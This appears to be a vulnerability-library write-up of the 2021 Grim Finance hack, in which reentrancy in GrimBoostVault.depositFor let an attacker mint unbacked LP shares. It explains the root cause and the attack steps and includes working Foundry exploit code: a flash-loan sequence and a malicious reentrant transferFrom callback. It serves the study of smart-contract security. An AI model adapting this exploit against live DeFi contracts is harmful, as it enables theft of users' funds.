# Grim Finance: reentrancy in depositFor mints fake LP shares

GrimBoostVault.depositFor reentrancy via malicious token transferFrom let attacker mint LP shares repeatedly, draining ~$30M from Grim Finance.

- Payout: Real-world hack
- Severity: critical
- Program: Grim Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2021-12-18
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-12/Grim_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20211218-grim
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:reentrancy

**Target:** GrimBoostVault depositFor / SpiritSwap LP token
**Root cause:** depositFor calls token.transferFrom before updating internal accounting, and accepts an attacker-controlled token address; the attacker's token reenters depositFor to inflate LP share balance.
**Steps:**
1. Flash loan 937,830 WFTM and 30 BTC from BeethovenX vault.
2. Approve and add liquidity to SpiritSwap BTC/WFTM pair, receiving Spirit LP tokens.
3. Approve GrimBoostVault for max and call `grimBoostVault.depositFor(address(this), lpBalance, address(this))` with the attacker contract as the token argument.
4. During depositFor's transferFrom call, reenter depositFor 7 times, each time passing the attacker contract as token, then finally pass the real Spirit LP token address.
5. Call `grimBoostVault.withdrawAll()` to withdraw inflated LP balance.
6. Remove liquidity from SpiritSwap, burn LP tokens, repay flash loan, keep profit.
**How found:** Likely identified that depositFor accepts an arbitrary token address and performs external transferFrom before state updates, enabling reentrancy via a malicious token contract.
**Exploitation:** Attacker flash-loans WFTM and BTC, provides liquidity to obtain Spirit LP tokens, then calls depositFor with a malicious token contract. The vault calls transferFrom on the malicious token, which reenters depositFor repeatedly, each time crediting the attacker with LP shares without actually transferring LP tokens. Final reentry uses the real LP token to satisfy accounting, then withdrawAll drains the vault's LP tokens, which are redeemed for underlying assets.
**Escalation:** Reentrancy loop (7 steps) multiplies credited LP shares before withdrawal, amplifying drained value.
**Insight:** When a vault's deposit function accepts a user-supplied token address and calls transferFrom before updating balances, a malicious token can reenter to mint unbacked shares; check for external calls before accounting updates in any depositFor-style function.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test with flashloan and reentrancy**

```
function testExploit() public {
        //Flash Loan WFTM and "BTC" frm BeethovenX
        IERC20[] memory loanTokens = new IERC20[](2);
        loanTokens[0] = wftm;
        loanTokens[1] = btc;
        uint256[] memory loanAmounts = new uint256[](2);
        loanAmounts[0] = wftmLoanAmount;
        loanAmounts[1] = btcLoanAmount;
        beethovenVault.flashLoan(IFlashLoanRecipient(address(this)), loanTokens, loanAmounts, "0x");
    }

    // Called after receiving Flash Loan Funds
    function receiveFlashLoan(
        IERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) public {
        // Add Liquidity to SpiritSwap
        wftm.approve(routerAddress, wftmLoanAmount);
        btc.approve(routerAddress, btcLoanAmount);
        router.addLiquidity(
            btcAddress, wftmAddress, btcLoanAmount, wftmLoanAmount, 0, 0, address(this), block.timestamp
        );

        // Call depositFor() in GrimBoostVault, reentrancy to this.transferFrom
        btc_wftm.approve(grimBoostVaultAddress, 2 ** 256 - 1);
        lpBalance = btc_wftm.balanceOf(address(this));
        grimBoostVault.depositFor(address(this), lpBalance, address(this));

        // Withdraw LPs from GrimBoostVault
        grimBoostVault.withdrawAll();

        // Remove Liquidity from SpiritSwap
        lpBalance = btc_wftm.balanceOf(address(this));
        btc_wftm.transfer(btc_wftm_address, lpBalance);
        btc_wftm.burn(address(this));

        //Repay Flash Loan
        for (uint256 i = 0; i < tokens.length; ++i) {
            IERC20 _token = tokens[i];
            uint256 _amount = amounts[i];
            uint256 _feeAmount = feeAmounts[i];
            _token.transfer(beethovenVaultAddress, (_amount + _feeAmount));
        }

        emit log_named_uint("WFTM attacker profit", wftm.balanceOf(address(this)) / 1e18);

        emit log_named_uint("BTC attacker profit", btc.balanceOf(address(this)) / 1e8);
    }
```

**Reentrant transferFrom callback calling depositFor recursively**

```
function transferFrom(address _from, address _to, uint256 _value) public {
        reentrancySteps -= 1;
        if (reentrancySteps > 0) {
            //Call depositFor() in GrimBoostVault with token==ATTACKER, user==ATTACKER
            grimBoostVault.depositFor(address(this), lpBalance, address(this));
        } else {
            //In the last step on reentrancy call depositFor() with token==SPIRIT-LP, user==ATTACKER
            grimBoostVault.depositFor(btc_wftm_address, lpBalance, address(this));
        }
    }
```

